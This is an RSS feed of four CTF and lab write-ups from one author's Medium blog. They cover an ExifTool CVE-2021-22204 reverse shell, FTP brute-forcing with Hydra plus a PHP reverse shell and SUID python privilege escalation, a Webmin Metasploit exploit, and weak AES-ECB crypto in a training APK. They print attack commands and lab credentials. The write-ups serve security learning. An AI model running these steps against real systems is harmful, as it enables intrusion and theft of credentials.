<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by EfeSipahi on Medium]]></title>
        <description><![CDATA[Stories by EfeSipahi on Medium]]></description>
        <link>https://medium.com/@efesipahioglu45?source=rss-baf2467e6f92------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VQs2H67BHe61WTA5</url>
            <title>Stories by EfeSipahi on Medium</title>
            <link>https://medium.com/@efesipahioglu45?source=rss-baf2467e6f92------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:32:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@efesipahioglu45/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Data Heist Scenerio: HackViser]]></title>
            <link>https://medium.com/@efesipahioglu45/data-heist-scenerio-hackviser-e706cfa7baa6?source=rss-baf2467e6f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/e706cfa7baa6</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[EfeSipahi]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 12:37:18 GMT</pubDate>
            <atom:updated>2026-04-22T12:37:18.091Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>This writeup covers a web-based CTF challenge centered around a file upload vulnerability. The target application parsed EXIF metadata from uploaded files, which opened the door to Remote Code Execution via <strong>CVE-2021–22204</strong>.</p><p>The first step was to visit the target application — a simple <strong>Exif Viewer</strong> running at http://exifviewer.hv. Uploading a file revealed its EXIF metadata, and importantly, the <strong>ExifTool version number: 12.23</strong> was exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Sg97G3AZHiXSleiHH3K1g.png" /></figure><p>— <em>ExifTool version 12.23 visible in the Exif Viewer output</em></p><p>This version is known to be vulnerable to CVE-2021–22204. But before exploiting it, the storage path needed to be identified through the EXIF output of uploaded files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PmHrBjJzxK1bCtwF1ZzPLw.png" /></figure><p>Using the CVE-2021–22204 exploit script, a malicious image was crafted with a reverse shell payload:</p><pre>python3 exploit-CVE-2021–22204.py -s &lt;local-IP&gt; &lt;local-port&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6pbg458xBpdfZBTDlOrbQ.png" /></figure><p>A netcat listener was set up before uploading:</p><pre>nc -lvnp &lt;port&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*BecxdfUBGImsWrj-_YuEfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2D2pM32jjAITw6EukzbTrA.png" /></figure><p>After uploading the generated image.jpg, the server parsed it with ExifTool, executing the payload and sending back a shell. Once inside, the stored files were listed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*_xBoNxa4vmjbHPqJV4rbbQ.png" /></figure><p><strong>Task 1 —</strong> What is the path where the files are stored on the server?</p><p><strong>Answer:</strong> /var/www/93c0550a5543b366_uploads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*Xjw4onzuatkQ3j3QQebK6g.png" /></figure><p>Task2 — What is the e-mail address and password of an employee of the company “waltersltd” from the data contained in the stored files?</p><p>Answer: <a href="/service/mailto:salvarado@waltersltd.hv">salvarado@waltersltd.hv</a>:hGCQjxZsSchk</p><p>Among the stored files was Ja23s6_techinnovations_invoice.pdf. To read it on the remote machine, a quick Python HTTP server was spun up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ege9LTJdt-D8CTCxJc6b4w.png" /></figure><p>Then the file was downloaded to the local machine with <strong>wget</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEtLr7XP4kF1UIng_mGSVw.png" /></figure><p>Opening it in a PDF viewer revealed the invoice issued by <strong>Tech Innovations Inc.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1oDOT2X1CxMaOCZrWmXVpA.png" /></figure><p><strong>Task3 —</strong> What is the invoice number of an invoice found in the stored files?</p><p><strong>Answer:</strong> INV-20240228-1234</p><p>The file listing also included database.go. Reading it with cat revealed a hardcoded PostgreSQL connection string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*IqwkNkVJQH3v75HwKCvQDg.png" /></figure><p><strong>Task4 — </strong>What is the database connection address of the files contained in the stored files?</p><p><strong>Answer:</strong> postgres://postgres:JS3CqjNCcn7Ve@olympusbytes.hv:5432/olympus</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e706cfa7baa6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackViser: Rivalry Scenerio Writeup]]></title>
            <link>https://medium.com/@efesipahioglu45/hackviser-rivalry-scenerio-writeup-c12d027909a9?source=rss-baf2467e6f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/c12d027909a9</guid>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[EfeSipahi]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 19:36:53 GMT</pubDate>
            <atom:updated>2026-04-21T19:36:53.964Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a writeup for the CreateEdge CTF challenge. The target machine hosts a company website for a digital marketing firm called CreateEdge. The goal is to enumerate the machine, gain access, escalate privileges, and answer a series of questions by digging through sensitive files on the system.</p><p>First task is at the index page of the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*oeSQCkyt6Z5etv4nRCqxPw.png" /></figure><p>Task 1— How many new clients does the CEO of Orbitronix Systems, Emily Johnson, claim they have gained?</p><p>Answer: 3500</p><h4><strong>Reconnaissance</strong></h4><p>Starting with a full port scan:</p><pre>nmap -sV -p- 172.20.40.175 - min-rate 5000</pre><p>Two open ports were found:</p><p>Port 21 — vsftpd 3.0.3</p><p>Port 80 — Apache httpd 2.4.56 (Debian)</p><p><strong>Web Enumeration</strong></p><p>Browsing to <a href="http://createdge.hv/">http://createdge.hv</a> revealed a static company website for a digital marketing agency. Directory brute-forcing with Gobuster found three directories:</p><pre>gobuster dir -u http://createdge.hv -w /usr/share/wordlists/dirb/common.txt</pre><p>Results: /ftp (directory listing enabled), /vendor (Bootstrap and jQuery), /assets (CSS and JS files).</p><p>Visiting /ftp in the browser revealed a file called clients.csv, which contained a list of company names and their advertising budgets. The file was downloaded and opened — it had client names and budget figures but no credentials.</p><p>Task 2 — What is the advertising budget of Orbitronix Systems in dollars? Answer: $225,000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*hbdAGpRZbhteklAjBn9mvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*xa8TlFz9ijPxFy_lDBzpuQ.png" /></figure><h4><strong>FTP Access</strong></h4><p>Anonymous FTP login was disabled, so a brute-force attack was needed. While enumerating the /ftp directory, I used a hint to see this ftp-betterdefaultpasslist.txt file — a default credentials wordlist in user:pass format. It was used directly with Hydra:</p><pre>hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://172.20.40.175</pre><p>Hydra found valid credentials: ftpuser:password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a92_w6kSGeaOwh7YSA1hyw.png" /></figure><p>Logging in confirmed access to the /ftp directory, which maps directly to the web server’s /ftp folder.</p><h4>Getting a Shell</h4><p>Since the FTP directory was accessible via the web and PHP was running on the server, a PHP reverse shell was uploaded:</p><p>ftp&gt; put php-reverse-shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*WNPVH0VIVjrGREdi2qdpdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*E4kGz71b4pqeSlPHtPyTXw.png" /></figure><p>A netcat listener was started on the attacking machine:</p><pre>nc -lvnp 1234</pre><p>Then the reverse shell was triggered by visiting <a href="http://createdge.hv/ftp/php-reverse-shell.php">http://createdge.hv/ftp/php-reverse-shell.php</a> in the browser. A shell came back as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*VCh_oHp3JI3HVlM-6zIeKA.png" /></figure><h4><strong>Privilege Escalation</strong></h4><p>SUID binaries were checked:</p><pre>find / -perm -4000 2&gt;/dev/null</pre><p>/usr/bin/python3.9 had the SUID bit set. This allowed direct privilege escalation to root:</p><pre>/usr/bin/python3.9 -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><p>Running whoami confirmed root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*wwbUHRp5E4rsRs6dFso6bw.png" /><figcaption><strong>Finding the Flags</strong></figcaption></figure><h4>Finding the Flags</h4><p>With root access, the entire filesystem was searchable. A grep for “Orbitronix” uncovered two key files:</p><pre>grep -r &quot;Orbitronix&quot; / 2&gt;/dev/null</pre><p>/archive/detailed_client_info.csv — budget and campaign details /archive/meetings/orbitronix_system-2023–11–20.txt — meeting notes with sensitive information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vn1sMETtO7Ah-E5A5MTFWQ.png" /></figure><p>Task 3 — Who is the target audience of the Orbitronix Systems advertising campaign? Answer: Young Adults</p><p>Task 4 — What is the name of the secret marketing tool developed by Create Edge? Answer: InsightNexus AI</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c12d027909a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Void ScenarioWriteup: HackViser]]></title>
            <link>https://medium.com/@efesipahioglu45/void-scenariowriteup-hackviser-b8cd0f023591?source=rss-baf2467e6f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8cd0f023591</guid>
            <category><![CDATA[hackviser-lab]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[EfeSipahi]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 12:35:11 GMT</pubDate>
            <atom:updated>2026-04-21T12:35:11.752Z</atom:updated>
            <content:encoded><![CDATA[<p>I started by performing an <strong>Nmap scan</strong> on the target machine to identify open ports and services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GakKPfrEMUepV1KV_bM4g.png" /></figure><p>After identifying the services, I searched for exploits correlated with the specific <strong>Webmin version</strong> running on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vq71ibypGEhjngBPa0er-A.png" /></figure><p>I found a matching exploit, launched <strong>msfconsole</strong>, and successfully gained a shell on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*P57G-5a2wKSLjrGj4ob70w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcjGmgBKDzjMfRx44HqMAg.png" /></figure><h3>Task 1: What is the email address and password for the attacker’s GitHub account?</h3><p>I performed a system-wide search for .git directories and located one in the <strong>root directory</strong>. By inspecting the git configuration and logs, I successfully retrieved the attacker&#39;s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*GedkQVrV6Gfc5AZhA7ONhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*GCKRPq6KAI9m-VIhZEDwEw.png" /></figure><h3>Task 2: What is the MD5 hash value of the malware used by the attacker?</h3><p>During my investigation, I discovered a file named phishing_malware.zip. I initially attempted to unzip it but found it was <strong>password-protected</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*zHlCLCPWzRuBv1h5i_y0DQ.png" /></figure><p>And then I opened a http server to transfer file to my machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q3VmOeFwa19NdHn1blVuvg.png" /></figure><p>Using <strong>John the Ripper</strong>, I successfully cracked the ZIP password. After extracting the contents, I calculated the <strong>MD5 hash</strong> of the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*lFNJDYtSC1Thh_BEa3qYFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*3QdzKhMjZnyORaUndaWilA.png" /></figure><p>And we got the md5 hash of malware.</p><h3>Task 3: What is the domain name that the attacker scanned with the SQL Injection scanning tool?</h3><p>I investigated the attacker’s activity by checking the <strong>sqlmap logs</strong> found on the system, which revealed the target domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*b75gLYHLhl6UHTZDnh_RQg.png" /></figure><h3>Task 4: What is the e-mail address of the victim in the “Stealer Log” data on the server?</h3><p>I enumerated other user directories and discovered “Stealer Logs” containing stolen credentials. From these logs, I identified the victim’s email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*VLBrOz7JsiMCF-8l_c7PIQ.png" /></figure><h3>Task 5: Which IP address did the attacker scan for ports and services?</h3><p>I analyzed the command history and nmap logs to identify the specific IP address the attacker targeted for reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uACYthnHjQasZQpme1zmAQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8cd0f023591" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobil Uygulama Güvenliğinde Kodun İçeriğine İnmek: Siber Kulüpler Birliği Eğitim Notları]]></title>
            <link>https://medium.com/@efesipahioglu45/mobil-uygulama-g%C3%BCvenli%C4%9Finde-kodun-i%CC%87%C3%A7eri%C4%9Fine-i%CC%87nmek-siber-kul%C3%BCpler-birli%C4%9Fi-e%C4%9Fitim-notlar%C4%B1-4504602cc480?source=rss-baf2467e6f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/4504602cc480</guid>
            <dc:creator><![CDATA[EfeSipahi]]></dc:creator>
            <pubDate>Sun, 25 Jan 2026 21:57:36 GMT</pubDate>
            <atom:updated>2026-01-25T21:57:36.211Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*Xi6mtySMGpcXQnDwys159Q.png" /></figure><p>Geçtiğimiz günlerde Siber Kulüpler Birliği tarafından düzenlenen mobil uygulama güvenliği eğitimine katılma fırsatı buldum. Eğitim boyunca statik ve dinamik analiz tekniklerini kullanarak gerçek hayat senaryolarını simüle eden ‘Simple APK’ üzerinde sızma testi pratikleri yaptık. Ancak eğitimin merak uyandırıcı kısımlarından biri olan <strong>Weak Cryptography</strong> (Zayıf Kriptografi) sorusu, kısıtlı zaman nedeniyle sınıfta tam olarak çözülememişti.</p><p>Bu yazıda, bir sızma testi uzmanının neden sadece “tool kullanıcısı” olmaması gerektiğini ve Java kod analizi ile kriptografik hataların nasıl tespit edildiğini, bu spesifik soru üzerinden adım adım inceleyeceğiz.</p><h3>Kodun İçindeki Zayıf Halkayı Bulmak: WeakCryptoHelper Analizi</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdDlChl24EQIMpSroCnhhA.png" /></figure><p>JADX-GUI ile Simple APK dosyasını decompile ettiğimde gözüme ilk çarpan dosya com.mobseclab.ctf.core.WeakCryptoHelper oldu. Bu dosya, uygulamanın hassas verileri (flag gibi) nasıl şifrelediğini ve sakladığını belirleyen kritik mantığı barındırıyordu.</p><p>Kod satırlarını incelediğimde, kağıt üzerinde “güçlü” görünen AES algoritmasının yanlış uygulama (implementation) nedeniyle nasıl savunmasız kaldığını üç ana konsept ile özetleyebilirim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*hC3LmceF17j_Ppf9YXrxqg.png" /></figure><p>Bir şifreleme anahtarının doğrudan kaynak kodun içine statik bir string olarak gömülmesi, kapıyı kilitledikten sonra anahtarı paspasın altına bırakmakla aynıdır. Saldırgan kodu decompile ettiği an anahtara ulaşmış olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*IsQUOVm2mt--dHSzWFTH_A.png" /></figure><p>deriveKeyFromPasswordmetodunun, günümüzde kriptografik olarak zayıf kabul edilen <strong>MD5</strong> algoritmasını kullandığı görülüyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZFfONxG3Spb_52lLdZyTg.png" /></figure><p>Şifreleme işlemi için AES/ECB/PKCS5Padding konfigürasyonu tercih edilmiş. Buraya key olarak bizim az önce incelediğimiz “MobSecLab” password stringi ile oluşturulan key kullanılıyor. Bu şifrelenen değer base64 ile hashlenip bizim encoded değerimiz oluyor. Bu değer en son sharedpreferences dosyasının içine yerleştirliyor.</p><p>İşte bu shared_prefs klasörü içinde olacak olan weak_crypto_storage dosyası bizim şifreli değerimiz bunu tersine açarsak flag’e ulaşıcaz.</p><p><strong>Şifreli Veri (Base64)</strong> → <strong>Base64 Decoding</strong> → <strong>AES-ECB Decryption</strong> <em>(Key: MD5 of “MobSecLab”)</em> → <strong>Unpadding</strong> → <strong>Temiz Metin (Flag)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVeoOZPrNMM-rq3JgdAqyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1NKM2UzNHJx48tgY2eqAg.png" /></figure><p>Genel Toparlarsak;</p><p>Aşşağıdaki Decryption Script’e bakalım.</p><pre>python3 -c “import hashlib, base64; from Crypto.Cipher import AES; k=hashlib.md5(b’MobSecLab’).digest(); c=AES.new(k, AES.MODE_ECB); print(c.decrypt(base64.b64decode(‘+mbkRwHJJ2qRiKc25RCzFnxsOowOTSBLCV2fbO0O6PU=’)).decode().strip())”</pre><ul><li><strong>Anahtar Üretimi:</strong> hashlib.md5(b&#39;MobSecLab&#39;).digest() kısmı, sabit şifreyi (&quot;MobSecLab&quot;) AES&#39;in kullanabileceği 16 byte&#39;lık MD5 formatına sokar.</li><li><strong>Motorun Kurulması:</strong> AES.new(k, AES.MODE_ECB) komutu, deşifre motorunu uygulamanın kullandığı zayıf ECB moduna ayarlar.</li><li><strong>Base64&#39;ten Kurtarma:</strong> base64.b64decode(...) fonksiyonu, metinleştirilmiş veriyi (ciphertext) ham şifreli byte dizisine geri döndürür.</li><li><strong>Deşifre ve Temizlik:</strong> c.decrypt(...).decode().strip() zinciri, veriyi anahtarla çözer, metne çevirir ve bloklardan kalan dolgu (padding) boşluklarını silerek <strong>Flag</strong>&#39;i ortaya çıkarır.</li></ul><h3>Sonuç: Hatalı Kriptografik <strong>İmplementasyon</strong> ve “Hardcoded” Riskler</h3><p>Bu çözümün ana odağı algoritmanın kendisi değil, <strong>hatalı implementasyon</strong> sürecidir. Parolanın kod içerisine <strong>hardcoded</strong> olarak gömülmesi, sistemin tüm güvenlik katmanlarını henüz tasarım aşamasında <strong>işlevsiz bırakmıştır. </strong>Geliştiricinin MD5 gibi zayıf bir hash ve veri blokları arasında bağ kurmayan ECB modunu seçmesi, AES gibi güçlü bir algoritmayı bile saniyeler içinde çözülebilir kılmış. Ve Sonuç olarak; doğru algoritma yanlış yöntemlerle (sabit şifre, zayıf mod) uygulandığında çok basit bir script ile flag’e ulaşılmıştır.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4504602cc480" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>